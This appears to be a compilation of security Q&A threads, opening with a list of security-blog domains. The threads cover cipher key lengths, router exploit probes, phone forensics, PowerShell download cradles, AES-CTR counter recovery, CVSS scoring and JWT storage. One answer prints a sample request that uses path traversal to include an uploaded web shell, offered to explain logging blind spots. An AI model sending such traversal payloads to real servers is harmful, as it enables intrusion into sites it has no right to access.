marcoramilli.blogspot.com
jumpespjump.blogspot.com
hexacorn.com/blog/
diablohorn.com
toshellandback.com
alex-ionescu.com
thepcn3rd.blogspot.com
blog.tanium.com
trustedsec.com
attactics.org
shelliscoming.com
hackerhurricane.blogspot.com
leeholmes.com/blog/
birendraraj0.blogspot.com
dsinternals.com
cyberarms.wordpress.com
riosec.com
insomniasec.com
darkoperator.com
buffered.io
g-laurent.blogspot.com
sternsecurity.com/blog/
xlab.tencent.com
bluescreenofjeff.com
rvrsh3ll.net/blog/
room362.com -- attackerkb.com -- cfdb.io
securitynik.blogspot.com
obscuresecurity.blogspot.com
blog.didierstevens.com
blog.varonis.com
c0d3xpl0it.blogspot.com
implicitdeny.org
cutawaysecurity.com/blog/
jimshaver.net
cyberark.com/blog/
binarydefense.com


Is there symmetric encryption like AES or Camelia with keys longer than 256 bits? I am wondering if is there any (secure!) cipher like AES or Camelia with keys longer than 256 bits (and offering higher security than 256 bits). I have not found anything except http://www.ciphers.de/eng/index.html where they say they have such cipher (but I have not found anything about that cipher).

There is no higher security than 128 bits. There are longer keys, for sure, but we cannot say that they offer "more" security, because they is no security level beyond "meh, cannot break it".

A symmetric encryption algorithm can be generically broken by exhaustive search, i.e. trying out all possible key values; with n-bit keys, there are 2n possible key values. When n grows, this number soon rises way beyond that which is technologically feasible. Threshold depends on current technology, but physics tell us that there are hard limits which seem unavoidable, related to energy consumption (see this answer for details). Right now, all the might of mankind, united for a decade for a single crypto-breaking goal, might pull off an exhaustive search on a 95-bit or so key, but a realistic organization (say, with the combined resources of Apple, Google and Microsoft together) would stop below, around 80 bits. Each additional bit doubles the cost, so 128 bits are more than enough to be in the "cannot break now or in twenty years" zone.

Additional key bits are there for the psychological effect, not for security. We like to go to 128 bits because 128 is a power of 2 and cryptographers just love powers of 2. Beyond that, extra key size is no more than an assertion of manhood. It is a bit like cars. A 128-bit key is a comfortable, fast and powerful BMW car. A 192-bit key is a Hummer with chrome bumpers. A 256-bit is an Aircraft Carrier. When looking for a "more than 256 bits" key, you are actually trying to paint your Aircraft Carrier in bright red.

Now there are a few algorithms which allow for longer keys, not because it helps with anything, but because there was room for it and it would have taken some effort to forbid it. For instance, Blowfish goes to 448 bits. SHACAL (both SHACAL-1 and SHACAL-2) accept keys up to 512 bits. Threefish works with a whooping 1024 bits.


Strange requests coming from EA4350 Linksys routers I have had two Linksys EA4350 Routers for a week or so being used internal my network as wireless access points, and all of a sudden I started noticing requests from them once per minute (care of my apache logs) but network traffic indicates requests every 5 seconds.

192.168.1.x - - [19/Nov/2014:10:55:38 -0500] "GET / HTTP/1.1" 302 - "-" "-"
192.168.1.x - - [19/Nov/2014:10:55:38 -0500] "GET /HNAP1/ HTTP/1.1" 404 2989 "-" "-"
192.168.1.x - - [19/Nov/2014:10:55:38 -0500] "POST /JNAP/ HTTP/1.1" 404 2987 "-" "-"
192.168.1.x - - [19/Nov/2014:10:55:38 -0500] "GET /rest/login?next=/ HTTP/1.1" 301 - "-" "-"
192.168.1.x - - [19/Nov/2014:10:55:38 -0500] "GET /rest/login/?next=/ HTTP/1.1" 200 3634 "-" "-"

The last two "/rest/login" are actually my server redirecting the first request "GET /" to my login screen, since / is the only valid URL in my web server (Hence 302 instead of 404).

Where 192.168.1.x is the IP of my Linksys router, and all traffic is on port 80 (not 8080). I have tried rebooting both of them at the same down, updating the firmware to 1.0.3.160602, and putting them in bridge mode to disable "most" of the features. None of these have help.

NOTE: this router is not directly exposed to the internet, but can outbound access it. I suspected TheMoon worm, but too many details don't add up (Supposedly EA4200 is the last vulnerable, not directly exposed to internet, reboot didn't stop it, firmware didn't fix it, wrong port, etc...)

Should I be worried that my router is infected with something, or is this an annoyance I just need to filter out of my logs?

UPDATE: I remapped every IP on my network to an entirely different subnet (10.x.y.z), and the Traffic Continued sporadically (not once a minute, just randomly) for an additional hour AFTER the IPs changes (so it came from the router's NEW IP addresses) and then stopped and hasn't been seen for almost a week now.

Your router may be scanning for vulnerabilities other routers, it certainly does not appear to be expected behaviour.

POST /JNAP/ is likely an attempt to exploit CVE-2014-8244
GET /HNAP1/ is likely the vulnerability used by the moon worm
I wasn't able to pinpoint the rest urls to a specific vulnerability with a quick search.

According to the CERT advisory I linked to for the JNAP vulnerability you should be using a much newer version of the firmware.


Moving /boot to USB and Preventing booting from other USB devices (Allow boot from only one USB) I'm going to move my /boot/ folder to a USB to as a security measure to protect against Full Disk Encryption exploits. My question is, is it possible to only allow boot from USB from a single USB device and not any USB that is plugged in?

Thanks all

James

I doubt this is possible to set up in the BIOS. However, even if it was, you have a bigger issue: The only way to identify a USB device is by its vendor and device ID. However, all devices by a specific vendor share the same device ID. So even if you could whitelist your own USB, any USB of that same make would also be accepted. Also, I'm pretty sure it's easy to spoof these IDs so even if you didn't have the USB device of the same make, you could spoof it.


Password security on lost or stolen smartphone I have a number of apps on my smartphone that store the passwords - facebook, mail, etc.
So say the phone is lost or stolen and the finder decides he wants my passwords - what can he do to get them, and how safe is my data on the phone?

Is is doable to bruteforce the password given that the password is not super complex (say 6-digit) ?

Are there ways to find the password without bruteforcing?

Can a phone's (internal) memory be read without entering the password ? How hard is that ?

The answer to this question really depends on the phone in question. It may also depend upon when the passcode was created.

Most phones use the passcode for encrypting the data on a device (and of course decrypting when needed). With an iPhone, if you did not create a passcode originally and later decided to create 1 the data from prior to creating the passcode would remain in plain text on the device (unless the app maker encrypted the data themselves). Quite a bit of data on an iPhone is stored in sqlite databases which is essentially text files with a specific format.

With regards to the crackability of the passcode. Again this would depend upon the passcode. If you used the standard 4 number pin on an iPhone these are really quite trivial to brute force (a 6 digit number would be just as trivial). The difficulty in brute forcing a random password on the other hand would depend upon what characters were used and how long the password was.

There are other techniques that could be used. For example an indication on what is used for a password / passcode could be gained from fingerprints on the screen.

With the introduction of finger print technology on Android and Apple devices this also provides a different vector for gaining entry to the device. Taking a print of a users finger from a glass for example could give the person access (of course other work is necessary). Both Android and Apple devices were exploited fairly quickly when the finger print technology was introduced.

With regards to having access to the phone's memory without having the password. Yes this is certainly possible. Law enforcement do this quite regularly. A colleague of mine did his thesis on mobile security, he bought numerous phones off of eBay and used a device to connect to the phone. He was able to extract data from each without having access to the password.


How does the blockchain prevent just theft of data? I have been reading about blockchain for some time. The basic premise of security of the blockchain, as far as I can tell, is that in a very large network, change in the hash value of one block renders every next block as invalid. Moreover, one also has to outperform other peers. Since the hash value is sensitive to the data inside, it is very difficult to hack.

However, what prevents me from just stealing the data. Let me reemphasize this: I am just copying the data from the blockchain. As far as my understanding goes, the hash value shouldn't change because the data is still the same.

I am not able to understand how does the blockchain prevents this. I am sure there is something I am missing because otherwise there is no way Bitcoin (or any other crypto-currency in that regard) provides 'safe' and 'anonymous' transactions when the full chain is available to everybody and hash value doesn't change on copying the data. I mean this is practically the best place to steal data.

So, I will repeat the question: how does the blockchain prevent just theft of data?

A blockchain guarantees the integrity of the data that's on it. It doesn't aim to keep anything confidential. If there's any mechanism to prevent “stealing” some data, it isn't a blockchain.

Any data that's on the blockchain is public (assuming that the blockchain itself is public). Accessing that data is not “stealing” since the data is meant to be public.

It is, however, possible for a blockchain to contain only a hash of certain information, but not the information itself. In this case, if think you have the information, you can verify that it is correct by validating its hash on the blockchain; but if you don't have the information then you can't find it except by guessing and validating your guess (which is impossible if the secret information includes a sufficiently large random value).

With respect to Bitcoin and other similar cryptocurrencies, they are not anonymous! All transactions are public, and the public information includes the identity of the sender and the recipient. They are however customarily pseudonymous: the identity (“address” in Bitcoin terminology) of a participant is their public key, and there is nothing that ties this public key to anything but the history of the transactions made with that key. On the blockchain, you aren't “John Smith”, you're 14835649238 when you buy and spend this particular coin, and 18365173562 when you buy and send this other coin (and there's no information to say that 14835649238 and 18365173562 are the same person), etc. Analyzing transactions may reveal spending patterns and may hint (but does not prove) that certain transactions were made by the same person (e.g. when a transaction has multiple spenders, it's typically multiple coins that were owned by the same person).


Do I need to run security on sockets in C++? I was reading up on how to make two programs talk to each other on my machine, and I saw the option to use sockets. One website suggested that sockets are entirely internal, so that seemed to suggest to me that no security is necessary because the sockets are not visible outside my machine.

But then I was reading about SSL. I am now confused, are they referring to the same type of sockets? Do I need security?

Thanks in advance.

The Secure Sockets Layer does indeed refer to the operating system concept of sockets.

Sockets are a generalized form of inter-process communication. At the most basic level a socket allows you to read and write data to and from the socket just as though you are reading or writing a file, the difference is only that the source and destination of socket communications is another computer process rather than a file.

Sockets can be used to connect different processes on the same machine, or different processes on different machines. The interface is abstract by design so that the end programmer (you) don't need to worry about whether or not your messages are being passed through memory to another process over a local Unix-domain socket or whether they're going over an IP network or whether they're using UDP or TCP, etc.

However, the traditional sockets model doesn't let you know who is reading and writing the other end of the communications channel. Even within a single machine you can't be confident that there isn't some malware connected to the other end of your communications channel. This is much more true for internet-enabled sockets, which might read/write data from anyone in the world. Moreover, whenever your data travels over a physical medium, whether that's the RAM inside a machine or a copper wire, there's the chance that an adversary may be trying to intercept or modify your communications.

Thus, sockets provide the communication mechanism, but don't guarantee the authenticity of different parties to a communication, or the confidentiality of data passed through the sockets mechanism.

Transport Layer Security (TLS) and it's predecessor the Secure Sockets Layer (SSL) are solutions to the above problems. The TLS protocol can use public-key cryptographic solutions (e.g. signed certificates and trusted third parties) to guarantee that the process on the other end of a socket does indeed belong to the people who claim to own the socket, and it can use regular encryption to perform end-to-end encryption between the socket endpoints.

The difference between a regular socket and a secure socket in practice is that a regular socket is wrapped inside a secure interface, so the socket technology does not change but the wrapper guarantees that all communications sent over the regular socket are properly encrypted and decrypted.

https://stackoverflow.com/questions/7698488/turn-a-simple-socket-into-an-ssl-socket


What is an IEX download cradle? Does anybody know what an IEX download cradle is?

Is it something that belongs only to the cyber security/pentesting realm?

I am asking based on this post: http://www.xorrior.com/powershell-web-drive-by-via-wmic/

My thoughts are that IEX stands for Internet Explorer, and that they may be using the browser's Download feature.

It's PowerShell Invoke-Expression

The meaning of `download cradle' comes from Raphael Mudge's talk on Flying a Cylon Raider where he describes how to continuously stage external PowerShell scripts from a launcher. In his techniques, which largely describe the use of ReflectivePick (popularized via PowerShellEmpire's psinject) from the original UnmanagedPowerShell work, a .NET runspace instance provides an execution context for the PowerShell pipeline.


SSL/TLS: Policy Constraints vs. Basic Constraints Could someone please explain the difference between Policy Constraints and Basic Constraints?

It appears to me that they are either redundant, or two names for the same thing. I would love some clarification as Google searches aren't helping.

First, let's tackle "Basic Constraints" (RFC 5280, Section 4.2.1.9).  These are mostly for the sake of certificates issued for CAs.  RFC 5280 only defines two such "constraints":

Are you (the subject of this certificate) a CA, yes or no?

This one is pretty straightforward.  A CA certificate, by definition, must have a basic constraints extension with this cA boolean value set to "true" in order to be a CA.

Assuming you are a CA, how long of path of certificates can you issue?

This is the pathLenConstraint value, which is a number whose value is zero or greater.  Let's say I wanted to issue to you a CA certificate using my CA certificate, but I wanted to make sure you in turn could not use that CA certificate to issue other CA certificates.  I would add the basic constraints extension to your CA certificate, with the cA value of "true" and the pathLenConstraint value of "0".  pathLenConstraint is the number of "non-self-issued intermediate certificates" that could follow from your CA.  Note that the end certificate (usually a server or client certificate) does not count as part of this number.  So by using a pathLenConstraint of "0" in the CA certificate I issue to you, you can use that certificate to issue other end certificates, but not any intermediate certificates.  If no pathLenConstraint value is defined in the basic constraints extension, then no such limit is imposed.

Now, let's look at "Policy Constraints" (RFC 5280, Section 4.2.1.11).  The policy constraints extension, per RFC 5280, is for certificates that are issued to CAs; this extension is thus not really useful for end certificates (e.g. client/server certificates).  The RFC says that this extension is for constraining path validation to the CA in terms of "policies"; what then are these policies?

Understanding this requires that we look at Certificate Policies, and Policy Mappings.  A "certificate policy" is a fancy way of saying "I, as the CA organization, have some specific policy/terms; it is identified by this OID".  Thus each certificate policy has an OID, and usually some URI that points to more information about that policy.  RFC 5280 defines a "Certification Practice Statement" (CPS) certificate policy, for example, which contains a URI to the processing requirements of the CA (e.g. what their requirements are for getting a certificate issued by them).  I think of them as pointers to the terms of use/end user license agreement types of legalese.

Now, each different CA organization will have slightly (to wildly) different policies, but folks will ask a CA "how do your policy X relate to that other CA's policy Y?"  Especially when it comes to X509 cross signing (see RFC 4158 for gory details).  Thus there is the need for a CA certificate to be able to say "my certificate policy X is equivalent to that certificate policy Y"; this is done using the policy mapping extension, which "maps" the OID of certificate policy X to the OID of certificate policy Y.

Now we have certificate policies, and we have mappings from one certificate policy to another.  The policy constraints extension, then, uses these to set limits/requirements, in terms of policies (and mappings of policies), when walking the list of certificates, from end certificate through the intermediate CAs to the root/trusted CA.  One of the limits, inhibitPolicyMappings, says "ignore any policy mappings after the Nth intermediate certificate in the path"; the other, requireExplicitPolicy, says "if there are more than N intermediate certificates in that path, require that all of them have X policy".

So, to sum up: basic constraints determine if you are a CA (cA = true), and if so, how long of a trust path can you create (limited by pathLenConstraint).  Policy constraints are all about how walking that trust path happens: how many of the intermediates certificates are allowed to have policy mappings, after which the policy mappings of intermediate certificates are ignored (inhibitPolicyMapping = ...), and/or how long can the trust path be, before a specific policy is required (requireExplicitPolicy = ...).

Back to that CA certificate I issued to you, whose pathLenConstraint basic constraint was set to zero.  That would prohibit you from issuing your own intermediate certificates.  And in that case, placing any policy constraints in that CA certificate would be rather useless, as policy constraints modify the handling of intermediate certificates (which you would be unable to issue/create).  Likewise, policy constraints on a non-CA certificate (and end certificate for a client/server) would be useless, for the same reason: they cannot issue/create intermediate certificates.

Now the above is all of the theory; for more information on the actual reality of all of this, in terms of implementations and such, I can highly recommend Peter Gutmann's materials on PKI, such as his X509 Style Guide.

Hope this helps!


What's the payload of this phishing campaign (which I clicked)? I've been really dumb and clicked a phishing link.

The link arrived via WhatsApp and consists of:

  A Nubank está fazendo aniversário e quem ganha o presente é você!. São 2.000 convites para um novo cartão com até R$ 12.000,00 de limite, e o melhor, sem consulta ao SPC/Serasa. Eu já fiz o meu, corra fazer o seu, restam poucos convites! Para resgatar seu convite acesse
  [redacted link]

(Roughly translated, it offers a new credit card or an upgrade to your current one).

The redacted link opens this which redirects to this.

I've opened the link on my mobile browser (Chrome 72.0.3626.121 on Android 6.0.1, latest Chrome for Android according to Wikipedia) and didn't initially realized it was a phishing campaign.

It shows a generic "landing page", but didn't ask for personal data, just 3 apparently innocuous questions.

I answered the questions and it then it instructed me to share a link to my WhatsApp contacts.

I got suspicious and quit. Then I called my card provider and they assured me they don't do campaigns on messenger apps and the links were not legitimate.

Questions

What do they want?

What's the point of this campaign if they don't ask for personal data or passwords? They seem to go from the "capture" to the "replication" stage without the actual action in-between.

Here's what the whole process looks like:

Receive the previously stated message from a trusted WhatsApp contact.
Click on the link, it opens a sort of "landing page".
The page cointains some jQuery code and a button with a yes / no question. You pick an answer, it shows another yes/no question, 3 in total ("Do you onw a "x brand" card / "Would you like a new one with a $12k limit" / "Do you prefer mastercard or visa").
From a very quick glance on the code, it looks like they don't even send that data anywhere, as there is no <form> element).
Now the page asks to "share this with your WhatsApp contacts" and shows a link.
Clicking this link opens the real, actual WhatsApp app in a sharing screen asking you to pick a contact (I stopped here and closed WhatsApp without picking a contact).
If you pick a contact, it sends them the very same message that brought me to this very page (I didn't actually sent anyone anything and inferred this from logic as well as from the code, as the message I received is hard-coded on the source code).

Something must be happening on that page, but it isn't capturing private info; at least, not ones inputted by the user. It looks like all they want is for exponential sharing to happen and then... what?

Is there an exploit or other kind of payload here?

Has my browser or OS been compromised?

I have cleared all my cookies and site data from Chrome. Is there any other action I should perform?

It would be really inconvenient to reset my device to factory state, and even more to flash a retail ROM. I only want to do it if absolutely necessary.

The point is to draw you into their web of interactions. The more you tell them non-private info, the more likely you are to answer with private info when they ask. Also, the link itself might try to infect your browser/device.

Clearing your cookies and data is not going to do anything. I'd make sure your Chrome was already up-to-date (there was a major security patch this week), and run scans on your device.


External IP same as Internal IP security Where I live my ISP does not give IP addresses out.  My external IP address is the same as my external if I plug directly into the wall with no router.  My ISP does give everybody a "router", that is really terrible for gaming.  I have heard that it's really dangerous to plug my computer directly into this line since there's no router, but how can someone access my computer with my IP address?  Do they have to use software to sniff packets, or is there something as simple as basically remotely accessing my computer by typing my IP into software?  I am buying a router that is better than the one provided, but I was just interested.

If your pc has a firewall which blocks all incoming packets, and is patched up to date then you can be relatively safe. I wouldn't recommend it though, add you are missing layers of protection which a router can give you.


I almost searched my password, but didn't press enter. Is my password at risk, because of autocomplete or anything else? Without even thinking about it, I typed my password into the Google search bar, but I didn't press enter. Since autocomplete is on, does that mean my password has been logged or indexed somewhere? Would it be a good idea to change my password or is that just being paranoid?

I highly doubt it.

You didn't press enter but Google will sometimes send the information to quickly present your results. This is forced over HTTPS. Your information was likely encrypted and not exposed.
According to most sources Google processes on average 3.5 billion searches per day. There is no additional information to prove your query is a password. Nor is there any public way for a person to get the search queries of a particular Google user. So they would have to be an actual employee of Google. The likelihood of a internal Google employee to trying your search queries as passwords to your account is highly unlikely. It might not even be possible for most standard Google employees to get such identifying information. But if so, the possibility of one with such access purposely targeting you is astronomical.
Again, there is no additional context to prove it is your password. Nor is your user information submitted with your query. So in the event of a MITM attack where they can read your traffic I would still factor it as real low as they would also have to have your username.

I am going to flat out say there 99.9% chance you have nothing to worry about. If you are wearing a tin foil hat or still have a nervous tick then change your password. If you don't use this password elsewhere then you're golden since it isn't like they could log in with an old password. Otherwise I would move on and not worry about it.

Edit: @reirab made a point it could make it pop up in features that use your search history. I don't believe this happens if you don't press submit. But if you want to be sure clear your search history with Google. I can't be sure this clears it from Google's servers but it should prevent them from popping up in the auto-complete.


Generating many keys: how many CSPRNGs to use? Say I want to create many random AES keys and have access to a secure source of random numbers SecRand.

I see two extremes of how I could write a key factory.

Use the same random source for all keys:

KeyFactoryA {
    private r = new SecRand()

    makeKey() {
        // create a key using r
    }
}

Use a new source for every key:

KeyFactoryB {
    makeKey() {
        r = new SecRand()
        // create a key using r
    }
}

I remember from statistics lectures (different field, I know) that the aggregate stream of random bits used in B would not necessarily be uniformly random; that is, B would be statistically weak. Also, it requires a larger pool of entropy to initialize all the different r.

A, on the other hand, may create many keys from a small initial pool of entropy. That does not sound too good either.

Are there any security-related differences between the two options?

What you want for your key(s) is to be completely unpredictable.

There are now three cases to distinguish which really depend on your "secure random" class / object.

It starts with high entropy and then drops. If your source of entropy is really good, this shouldn't happen, but if it does you may either use a new instance (like you did in B) or you instantiate what cryptographers call a pseudo-random generator (PRG, ie a strong stream cipher encrypting zeroes) using your high-entropy input and use the resulding key stream as continuous source of computationally unpredictable key material. Note that if you use the output directly that the output must be uniformly random which means that if you use a direct physical effect or some gaussian-sampling RNG, you really should securely hash the output of the RNG and then feed it into a PRG which will remove all potential bias.
It starts off badly and then increases in entropy over time. In this case you want to take the entropy you gain over time and condense it into a short-highly unpredictable string using a secure hash function and use that to instantiate a PRG.
It's always a good source of uniformly random numbers. In this case it doesn't really matter which approach you follow, eg using only instance forever, spawning many new instances or using a PRG, all of them should be fine.


Should generating gpg keys ever result in an identical key to an older key? I recently had a situation where I lost an old private key (write error; realized this too late). In regenerating keys and replacing the public keys on various sites, I noticed that the public keys were identical. I did use the same key size, algorithms, and passphrases as the older set, but I thought that there was supposed to be randomness involved in key generation. Should I be concerned about the state of my computer's rng?

I'm concerned that this question may be getting too personal, but I did not find any information on stackexchange or via search engines so I thought this information might be useful for another individual's later searches. I've often found useful answers lurking on stackexchange and hope this may provide the same to someone down the line.

EDIT:

I used the Seahorse GUI frontend. File > New > GPG > entered passphrase, selected RSA and 4096 > generated keys. I then exported the new key from the 'my keys' tab (recounting this from memory) and double-checked it was a public key. Then I opened properties of the new key, did the complete export, and double-checked that it exported a private key.

I could not reproduce this (generate another key with identical public key), but the old public key did work with the new private key. I do not know the old key id (it was only in use for a week or so). I generated a new key; did not find old key file. The only settings I changed in Seahorse was to increase key size; I did not opt for any deterministic key generation. I don't see how my entropy could be identical.

The chances of this happening by chance are zero.

You have either:

Found the old private key you thought was lost (hidden file?), or
Used a deterministic key generation mode which takes user-supplied entropy (passphrase). If you use the same entropy you will get the same key, or
You've got a completely borked install which always returns the same random numbers.

I am not familiar with the Seahorse GUI so I don't really know how likely these options are.

However I think it most likely that you only thought you hade lost the key because you didn't know where it was. I am guessing that Seahorse looked in a bunch of default locations and found it somewhere. By default it's in a hidden directory in your $HOME.


Decrypt AES 128 CTR without IV (Counter) As the Title said: I have the cipher, the key and the counter increment function but I miss the IV (initial counter).
Is there anyway for me to decrypt the message?

EDIT: do we need some plaintext? How much of it?

No, not easily.

If the data is important to you, you could try brute-forcing the range of plausible IV values.  For each guess at the IV, try decrypting and see whether the result looks like it could be your message.  (Incorrect guesses will result in random gibberish.)  If the number of plausible IV values is not too large, this might be successful at recovering your data.

Caveat: I am assuming you are focusing on recovering some data where the IV has been lost -- not on designing a secure cryptosystem.  If you are designing a cryptosystem, you should not rely upon this for security.  In other words, don't rely upon keeping the IV secret to protect your data.  Attackers might be able to guess or figure out the IV; it's not a good basis for security.

Edit 10/2: Do you happen to have any known plaintext?  In other words, do you know part of the message?  If you know part of the message, then you may be able to recover the IV.  For instance, if you know a consecutive 16 bytes of the message that corresponds to a block boundary, then you can xor those 16 bytes of plaintext against the corresponding 16 bytes of ciphertext to recover 16 bytes of keystream.  Now decrypt that keystream block under AES (with the known AES key); the decryption will be the value of the counter for that block.  Then you can run the counter forward/backward from there to learn the counter value for all other blocks, and decrypt the rest of the message.


Chosen-ciphertext attack -- basic question Disclaimer: I'm a beginner with security.

Problem: I am reading Applied Cryptography by Schneier. He writes:

Question: How can "automatic decryption" work without the deduced key? Does the tamperproof box mean you can't access its private key?

The quote is simply setting up a thought experiment. The theoretical box in question just does decryption and has the key to decrypt, but the cryptanalyst cannot use weaknesses of the box to get a key.

The point of the example is simply that the cryptanalyst has access to the input and output, but not the process or key.


Data security implications of using Android over iOS What are the security implications of using Android as opposed to iOS? Many sources say Android is much less secure and much less capable of handing a user's data in a secure manner. What are the main failings or disadvantages of using Android?

I.e., Apple using sandboxing and has a secure runtime environment which Android apparently does not.

like all security features, the Application Sandbox is not
  unbreakable. However, to break out of the Application Sandbox in a
  properly configured device, one must compromise the security of the
  the Linux kernel.

Android much less secure? Not so sure about that(subjective).
1- Security implications?

Misc:

Open-source.
Android IPC (Intents, Services and BroadcastReceivers).

Linux Security:

ASLR, NX, SELinux.
System Partition and Safe Mode.
Application Sandbox.
Process isolation.
Filesystem Permissions.

User Security Features:

Filesystem Encryption(not enabled by default)
Password Protection.
Device Administration.
Keychain.
App permissions.

2- Disadvantages?

Rooting of devices: It's great for attackers or geeks, but it's a security nightmare. Root access, exploits, file system exposed with shared_prefs, sqlite_db, ...
SSL mutual authentication in the Webview: Impossible untill recently, thanks to hidden/unofficial APIs.
Handling of private/company PKI CAs: Keychain added in api level 14.
Android Runtime Code Injection
Android database(SQLite): No encryption! ==> SQLcipher for sensitive data.

kernel-security


Web browser initiating connection on non-standard ports. Should it be blocked? I am doing some egress monitoring on my computer. Once in every few days, I would find some strange connections being logged, which I believe is initiated by the web browser through a related but not established HTTP(S) connection.

IN= OUT=eth0 SRC=192.168.1.2 DST=54.242.237.165 PROTO=TCP SPT=33001 DPT=843 SYN URGP=0
IN= OUT=eth0 SRC=192.168.1.2 DST=69.46.36.10 PROTO=TCP SPT=57002 DPT=4000 SYN URGP=0

Should there be any cause for concern, security wise, about these sporadic connections being made on non-standard ports (i.e. not 80,443)?

What you should do is resolve the IP addresses to see who uses them and check (IANA) port designations. Then adding audit rules (only for local clients though) gives you at least a time stamp, process and user Id, forcing clients through a proxy gets you at least a time stamp and host name and capturing packets (ulogd, tcpdump, Snort rule) may provide session details. Combined that should provide a better basis for analysis as an IP address and port combo alone doesn't necessarily prove much these days.


If a malicious PHP file never appears in the Apache log is it safe to assume it never executed? I've found a couple of suspicious-looking PHP files on my webserver obfuscated by a substantial block of eval. Ideally, I'd like to know what they do, but I'm struggling to decrypt them.
Everything else on the server matches my git repo, so I'm pretty confident nothing else has been changed. I can't find any mention in the Apache logs of either file being called since they were created. Does that mean it's safe to assume they have never been run?

No, while they may not appear in your log files they could still have executed via file inclusion bugs in other scripts. Imagine the following request:
POST /index.php HTTP/1.0
Host: yoursite

page=../uploads/shell.php

If vulnerable the script would execute, but the body of the request isn't logged and would not show the reference to shell.php
Additionally as you mentioned Apache you also need to consider the potential impact of .htaccess files which may affect what executes as PHP and logging as well. See this thing I wrote years ago: http://archive.justanotherhacker.com/2011/12/writing-a-stealth-web-shell.html


Possible to take hash from know result and algorithm? I am trying to build a casino site in PHP where users can play roulette. I found this algorithm that I want to use to "roll" numbers:

<?php
$secret = 'aa94c4384abc04456c45459cdedf1120f2cc0ac09bc4724322b6831bd7f43d6f';
$round = 123456;
$hash = hash("sha256",$secret.'-'.$round);
$roll = hexdec(substr($hash, 0, 8)) % 37;
echo($roll);
?>

The result will be 22 in this example.

secret is sha256 hash
round is the number of played rounds, where every spin will +1

I'm worried that someone that knows the algorithm will be able to reverse it to take the hash.

Is this solution good? (I'm a beginner to this kind of problems.)

OK, so the first issue is: do you need these rolls to be reproducible and predictable?  That is, do you need to be able to fast-forward to the 10000th roll or rewind to the 20th, and get the same result?

If you don't need that feature, then why not use a cryptographically secure random number generator instead?  This way, neither you nor an attacker can predict the results, and you don't have to worry about accidentally revealing your secret at any point.

(If you do want that feature, I think it's really worth asking why.  Would your users be happy with the idea that all results are predetermined, just kept secret?  There's also a slight bias in your implementation, and you have the extra challenge of keeping your secret a secret, etc. etc. etc.)


Authy - is my backup secured by only my password or 2FA s well I've read around the Authy site and done a few Google searches, but it is not clear to me whether an attacker that compromised my Authy account backup password could access my keys without any additional data.

For example, when I setup Authy app, I choose a password of "B4dpassw0rd", and I chose to backup my keys.  If an attacker guesses my bad password, will they be able to retrieve my encrypted keys and decrypt them?

The reason I hope that this is not the case, is that when I installed the app on my phone, I registered it with a phone number and received a 2FA token via SMS.  So, it seems there is some device/account verification in place, but this may or may not be a part of the data used to encrypt my backup.

I'm a Solutions Architect with Authy and am happy to clarify this issue for you.

As you noted, we do require a password to encrypt and store your 'backup keys'.

We also have an opt-in feature which allows for the syncing of these keys across multiple devices (iPhone, Android, Chrome Extension).  When you add a second device, you need to provide the first phone number to get access to those keys.  At this point, you can choose either an SMS/Voice or "Use Existing Device" (your initial phone) notification for accessing your Authy account.

If you choose SMS or Voice, your initially registered phone number will get a notification with a token to gain access to the Authy account.

If you choose to 'Use Existing Device', you'll receive the following prompt on your initially registered device as seen here:

Once you've added a device, you can always see (and remove) devices that are associated with your account from any device.

To answer your question, before an attacker can sync keys down to an additional device, they will have to have approved the addition of another device via a token or the "Use Existing Device" feature on your initially registered device.  If they are able to provide this approval, then they already have access to your primary phone... which is not ideal.

I hope this clears everything up for you.

Cheers!
- Josh @ Authy

tl;dr Even with your password, this attack vector still requires user-approval from your initially registered phone number.

stl;dr Your Authy ID is tightly coupled with the phone number initially used during registration.  Having the "B4dpassw0rd" will not help the attacker.


If I change my computer time, will it change the time I used VPN? The company I work at monitors VPN usage from hour a, to hour b.

If we go over the allotted hours limit, we get an e-mail from IT that we're using too much VPN time.

If I change my computer timezone to something outside those hours, then login to the company VPN. Would that help me bypass the allotted VPN hours?

Changing the time itself is not allowed for my group policy.

The VPN logs do not dictate time off of your computer, they dictate timestamps when the server gets connected to. So however, the sever is set-up, that will be the correct timestamp for login/logoff. Your computer has no control over the timestamps.


Why does the CVSS3 score increase when the confidentiality impact decreases? Consider these two cases:
1) Impact on Confidentiality as High
2) Impact on Confidentiality as Low
Please note all other parameters are unchanged and environmental parameters are set as High.

Now, the score for Case 1 is 9.0, but Case 2 is 9.1. This is very strange as impact on C as high should ideally have a higher score value.

Does anyone have an explanation for this?

C: Impact on Confidentiality as High = 9.0

C: Impact on Confidentiality as Low = 9.1

Edit 1: Please visit these links. Refer to the score below shown against the Environmental score.
Link 1: Impact on Confidentiality as Low.
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:N/CR:H/IR:H/AR:H

Link 2: Impact on Confidentiality as High.
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N/CR:H/IR:H/AR:H

I sent this to FIRST and I got this response from the their team.

We agree that this is a problem, and we plan to address it in a future
revision to the standard. We used a set of test cases to ensure intuitive
scores for all inputs during the creation of the CVSS v3.0 formulas, but we
missed this case.
I don't believe people often set CR, IR and AR to High, so I don't think
the problem often causes issues in practice.
Thanks for taking the time to ensure we knew about the problem.

Attached the mail image.


How to do authentication when FE and BE are on different domains? We're doing authentication by sending a JWT via an httpOnly cookie.
(client sends credentials, server answers with a token cookie, client attaches it to all subsequent requests).

Due to some constraints, we need to deploy backend and frontend services on different domains. Thus, our token cookie that worked wonderfully on localhost, got blocked by the browsers as a 3rd party cookie.

Is there any way to use httpOnly cookies to transfer the JWT between different domains?

Or is there any other way to do authentication when the BE and FE reside on different domains?

Session storage and local storage were recommended in this article:
https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage
but we would like to avoid it for their XSS vulnerability.

Local Storage shares basically the same security policy as cookies (ex: not allowing a domain to access data generated by another domain), so there's no reason to believe that local storage is less secure than cookies.

In case of a XSS vulnerability, your data will not be safe wether you store them in a cookie or in local storage:

if you store JWT in local storage, an attacker could steal it. (ex. grabbing data and sending them to a server for later use)
if you store JWT in a cookie, an attacker could USE it. (ex. a crafted XHR request that will fully impersonate the user)

So the problem would not be where you put your data, but the fact that XSS is a vulnerability that opens the door to a range of possible attacks and for that reason, it should be fixed.

Answering your question, you could move the JWT to an 'Authorization' header rather than a cookie: the logics basically remain the same, the client just needs to store the authorization response and use it in any request as an header, so the server will be able to read and validate them. (keep in mind that also Cookies are headers)


